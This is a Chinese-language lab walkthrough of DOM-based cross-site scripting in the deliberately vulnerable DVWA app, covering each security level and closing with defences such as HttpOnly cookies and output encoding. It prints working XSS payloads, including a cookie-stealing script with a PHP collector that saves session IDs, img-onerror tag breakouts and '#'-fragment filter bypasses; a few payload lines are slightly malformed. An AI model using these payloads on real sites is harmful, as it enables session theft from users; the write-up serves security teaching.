什么是XSS攻击?
XSS,Cross-site Scripting ,跨站脚本攻击,是一种注入型攻击, 它会把恶意脚本(malicious scripts) 注入其他网站中。当攻击者使用Web应用程序向不同的最终用户发送恶意脚本(通常以浏览器脚本的形式)时,就会发生XSS攻击。
能让这些攻击成功的缺陷非常普遍,例如:Web应用程序在其生成的输出中使用了用户输入,同时又不做验证(validating)或编码(encoding)。
攻击者使用XSS将恶意脚本发送给不知情的用户,而用户的浏览器无法知道不应信任该脚本,因此将执行该脚本。因为浏览器认为恶意脚本来自可信来源,所以该脚本可以访问浏览器保留并用于该站点的任何cookie、会话令牌(session tokens)或其他敏感信息。这些脚本甚至可以重写HTML页面的内容。
XSS攻击有3种:
- Store XSS,存储型
- Reflected XSS,反射型
- DOM Based XSS,DOM型
什么是DOM?
DOM(Document Object Model)即文档对象模型, 定义了访问HTML和XML文档的标准。
DOM型XSS攻击是DOM的一种攻击。DOM是一个与平台、编程语言无关的接口,它允许程序或脚本动态地访问和更新文档内容、结构和样式,处理后的结果能够成为显示页面的一部分。DOM中有很多对象,其中一些是用户可以操纵的,例如:
- document.referer
- window. name
- location
- innerHTML
- documen.write
客户端的脚本程序可以通过DOM动态检查和修改页面内容。它不依赖于提交数据到服务器端,而从客户端获得DOM中的数据在本地执行。如果DOM中的数据没有经过严格确认,就会被注入攻击。
DOM型XSS可能是反射型,也可能是存储型。
low级别
现在我们来看low级别的DOM型XSS攻击
界面如下
看一下源码
<?php
# No protections, anything goes
?>
什么也没有,对default参数没有进行任何的过滤。
那如何攻击呢?在浏览器中修改default参数内容即可。
例1:嵌入js脚本
例2,获得cookie
例3,获取cookie进阶
我懒得再搭建一个环境了,就把模拟攻击者的环境也放在dvwa环境中。也即是说攻击者的服务器地址就是192.168.99.10。
在/var/www/html/vulnerabilities/xss_d下创建getcookie.php
<?php
header("content-type:text/html;charset=utf8");
echo "hack";
echo "<pre>";
print_r($_GET);
echo "</pre>";
$cookie=$_GET['PHPSESSID'];
file_put_contents('./xss.txt',$cookie);
?>
就是把cookie保存在当前目录的xss.txt文件中。
攻击开始,在浏览器中按照以下URL注入
http://192.168.99.100/vulnerabilities/xss_d/?default=<script>var a=document.createElement('a');a.href='http://192.168.99.100/vulnerabilities/xss_d/getcookie.php?'+document.cookie;a.innerHTML="<img src='https://www.baidu.com/img/bd_logo1.png'>";document.body.appendChild(a);</script>
那么注入了什么呢?
<script>
var a =document.createElement('a'); //创建a标签
a.href=''http://192.168.99.100/vulnerabilities/xss_d/getcookie.php'+document.cookie; //攻击者主机,获取cookie
a.innerHTML="<img src='https://www.baidu.com/img/bd_logo1.png'>"; //掩护图片
document.body.appendChild(a); //将标签添加到页面中
</script>
现在看一下界面
多了一个百度图片,我只是为了举例,没有修正位置和大小。
如果点击这个图片,那么界面如下
也就是说getcookei.php被执行了。
此时再去/var/www/html/vulnerabilities/xss_d下查看
root@90e68d944bc2:/var/www/html/vulnerabilities/xss_d# more xss.txt
j58548g0ejpkr8jo2k4ggjm3f2; security=low
看到嘛,用户的cookie就被送入攻击者指定的文件中了。
Medium级别
把dvwa环境安全级别调整为medium。先看源码
<?php
// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
$default = $_GET['default'];
# Do not allow script tags
if (stripos ($default, "<script") !== false) {
header ("location: ?default=English");
exit;
}
}
?>
说明如下:
- array_key_exists函数,检查表单get方法提交的参数是否有default
- !is_null ($_GET[ ‘default’ ]),default参数不为空
- 以上2点都满足,那么把表单中提交的default参数值赋值给default变量。
- 最后利用stripos函数检查default变量,如果包含”<script”字符串,那就把URL的default值改为default=English。
显然,现在是不可能注入“< script>代码</ script>”了。不过< img>标签的onerror属性还是可以利用的,可以尝试注入。
我们先来观察一下页面源码中以下部分,
if (document.location.href.indexOf("default=") >= 0) {
var lang = document.location.href.substring(document.location.href.indexOf("default=")+8);
document.write("<option value='" + lang + "'>" + decodeURI(lang) + "</option>");
document.write("<option value='' disabled='disabled'>----</option>");
}
它的作用是把default参数的值送入value。尝试注入default=aaa,那么界面效果和页面源码变更如下:
看到了aaa放入的位置吗?现在应该知道怎么办了吧。有点类似sql字符型注入,这里必须闭合的是”<option value=’”。
所以要注入的内容应该类似下面这样
English></option></select><img src=1 'alert(hack)'>
界面如下
此时当img图片引用出错时,onerror中的代码被执行了。注意观察< img src=1 ‘alert(hack)’>在源码中位置和上面注入‘aaa’时候的区别。
同理,我们依然可以利用img标签获得cookie
English></option></select><img src=1 alert(document.cookie)><select>
但是上面这个方法是有缺点的,那就是界面被破坏了,隐蔽性不强。
我们还可以利用#符号来实现DOM型XSS注入。
URL中有一个字符为#,它是用来指导浏览器动作的,对服务器端完全无用。所以,HTTP请求中不包括#。该字符后的数据不会发送到服务器端,从而绕过服务端过滤。
#代表网页中的一个位置。其右面的字符,就是该位置的标识符
例如:192.168.99.100/index.html#test,这个URL中#符号后面就代表网页index.html的test位置。浏览器读取这个URL后,会自动将test位置滚动至可视区域。
而为网页位置指定标识符,有两个方法:
- 使用锚点,比如< a name=“test”></ a>
- 使用id属性,比如< div id=“test”>。
现在我们尝试在URL中输入如下
http://192.168.99.100/vulnerabilities/xss_d/?#default=%3Cscript%3Ealert(%22hack%22)%3C/script%3E
界面效果如下
注意右下角,发送到服务器的请求网址为http:/192.168.99.100/vulnerabilities/xss_d/?。所以注入的脚本”< script>代码</ script>”没有被服务器端过滤,在浏览器里被执行了。
这种利用#符号的注入方法,界面没有变化,隐蔽性比利用img标签强多了。
在URL中%3C是HTML URL编码,代表的意思是”<“。其他代码可以参见《HTML URL 编码》。
至于为什么要进行HTML URL编码,可以参见《为什么要进行URL编码》。
- RFC3986文档规定,Url中只允许包含英文字母(a-zA-Z)、数字(0-9)、-_.~4个特殊字符以及所有保留字符。
- RFC3986中指定了以下字符为保留字符:! * ’ ( ) ; : @ & = + $ , / ? # [ ]
除了以上部分,字符需要被编码才不会引起Url语义的转变。
High级别
把dvwa环境安全级别调整为high。先看源码
<?php
// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
# White list the allowable languages
switch ($_GET['default']) {
case "French":
case "English":
case "German":
case "Spanish":
# ok
break;
default:
header ("location: ?default=English");
exit;
}
}
?>
在这里,下拉列表框的值设置了白名单,只允许French,English,German,Spanish。如果不是以上这些值,那就是默认值English。
这里注入方法依然可以利用#符号。
http://192.168.99.100/vulnerabilities/xss_d/?default=English#%3Cscript%3Ealert(%22hack%22)%3C/script%3E
获取cookie就不写了,照上面抄。
impossible级别
尝试利用#符号注入,结果如下
可以发现#符号没有起作用,default后面部分都被赋值给value了。
观察页面源码
if (document.location.href.indexOf("default=") >= 0) {
var lang = document.location.href.substring(document.location.href.indexOf("default=")+8);
document.write("<option value='" + lang + "'>" + (lang)+ "</option>");
document.write("<option value='' disabled='disabled'>----</option>");
}
可以发现这里对我们输入的参数(lang)并没有进行URL解码,而在其他级别中是有解码过程的decodeURI(lang)。所以我们输入的任何参数都是经过URL编码,然后直接赋值给option标签。
我们可以查看/var/www/html/vulnerabilities/xss_d/index.php源码,有以下部分
# For the impossible level, don't decode the querystring
$decodeURI = "decodeURI";
if ($vulnerabilityFile == 'impossible.php') {
$decodeURI = "";
}
总结
查看impossible.php,就一句话:Don’t need to do anything, protction handled on the client side。
这是因为DOM型XSS攻击主要是由客户端的脚本通过DOM动态地输出数据到页面,而不是依赖于将数据提交给服务器端,而从客户端获得DOM中的数据在本地执行,因而仅从服务器端是无法防御的。
所以,防范DOM型XSS攻击的方法总结如下:
- 将重要的cookie标记为http only, 这样的话Javascript 中的document.cookie语句就不能获取到cookie了.
- 表单数据规定值的类型,例如:年龄应为只能为int、name只能为字母数字组合。此外还要验证其格式、长度、范围和内容。
- 对数据进行Html Encode 处理
- 过滤或移除输入的特殊Html标签, 例如: < script>, < iframe> , & lt; for <, & gt; for >, " for。这里的输入不仅仅是用户可以直接交互的输入接口,也包括HTTP请求中的Cookie中的变量,HTTP请求头部中的变量等。
- 过滤JavaScript 事件的标签。例如 “onclick”, “onfocus” 等等。
当然,在有些应用中是允许html标签出现的,甚至是javascript代码出现。因此我们在过滤数据的时候需要仔细分析哪些数据是有特殊要求(例如输出需要html代码、javascript代码拼接、或者此表单直接允许使用等等),然后区别处理。
推荐一篇文章《XSS跨站脚本攻击》
附件
/var/www/html/vulnerabilities/xss_d/index.php,问题代码包含在< script> </ script>中,直接处理URL中default后面部分字符串。处理过程URL–>浏览器,不经过服务器端。
<?php
define( 'DVWA_WEB_PAGE_TO_ROOT', '../../' );
require_once DVWA_WEB_PAGE_TO_ROOT . 'dvwa/includes/dvwaPage.inc.php';
dvwaPageStartup( array( 'authenticated', 'phpids' ) );
$page = dvwaPageNewGrab();
$page[ 'title' ] = 'Vulnerability: DOM Based Cross Site Scripting (XSS)' . $page[ 'title_separator' ].$page[ 'title' ]
;
$page[ 'page_id' ] = 'xss_d';
$page[ 'help_button' ] = 'xss_d';
$page[ 'source_button' ] = 'xss_d';
dvwaDatabaseConnect();
$vulnerabilityFile = '';
switch( $_COOKIE[ 'security' ] ) {
case 'low':
$vulnerabilityFile = 'low.php';
break;
case 'medium':
$vulnerabilityFile = 'medium.php';
break;
case 'high':
$vulnerabilityFile = 'high.php';
break;
default:
$vulnerabilityFile = 'impossible.php';
break;
}
require_once DVWA_WEB_PAGE_TO_ROOT . "vulnerabilities/xss_d/source/{$vulnerabilityFile}";
# For the impossible level, don't decode the querystring
$decodeURI = "decodeURI";
if ($vulnerabilityFile == 'impossible.php') {
$decodeURI = "";
}
$page[ 'body' ] = <<<EOF
<div class="body_padded">
<h1>Vulnerability: DOM Based Cross Site Scripting (XSS)</h1>
<div class="vulnerable_code_area">
<p>Please choose a language:</p>
<form name="XSS" method="GET">
<select name="default">
<script>
if (document.location.href.indexOf("default=") >= 0) {
var lang = document.location.href.substring(document.location.href.index
Of("default=")+8);
document.write("<option value='" + lang + "'>" + $decodeURI(lang) + "</o
ption>");
document.write("<option value='' disabled='disabled'>----</option>");
}
document.write("<option value='English'>English</option>");
document.write("<option value='French'>French</option>");
document.write("<option value='Spanish'>Spanish</option>");
document.write("<option value='German'>German</option>");
</script>
</select>
<input type="submit" value="Select" />
</form>
</div>
EOF;
$page[ 'body' ] .= "
<h2>More Information</h2>
<ul>
<li>" . dvwaExternalLinkUrlGet( 'https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)' ) . "</li>
<li>" . dvwaExternalLinkUrlGet( 'https://www.owasp.org/index.php/Testing_for_DOM-based_Cross_site_script
ing_(OTG-CLIENT-001)' ) . "</li>
<li>" . dvwaExternalLinkUrlGet( 'https://www.acunetix.com/blog/articles/dom-xss-explained/' ) . "</li>
</ul>
</div>\n";
dvwaHtmlEcho( $page );
?>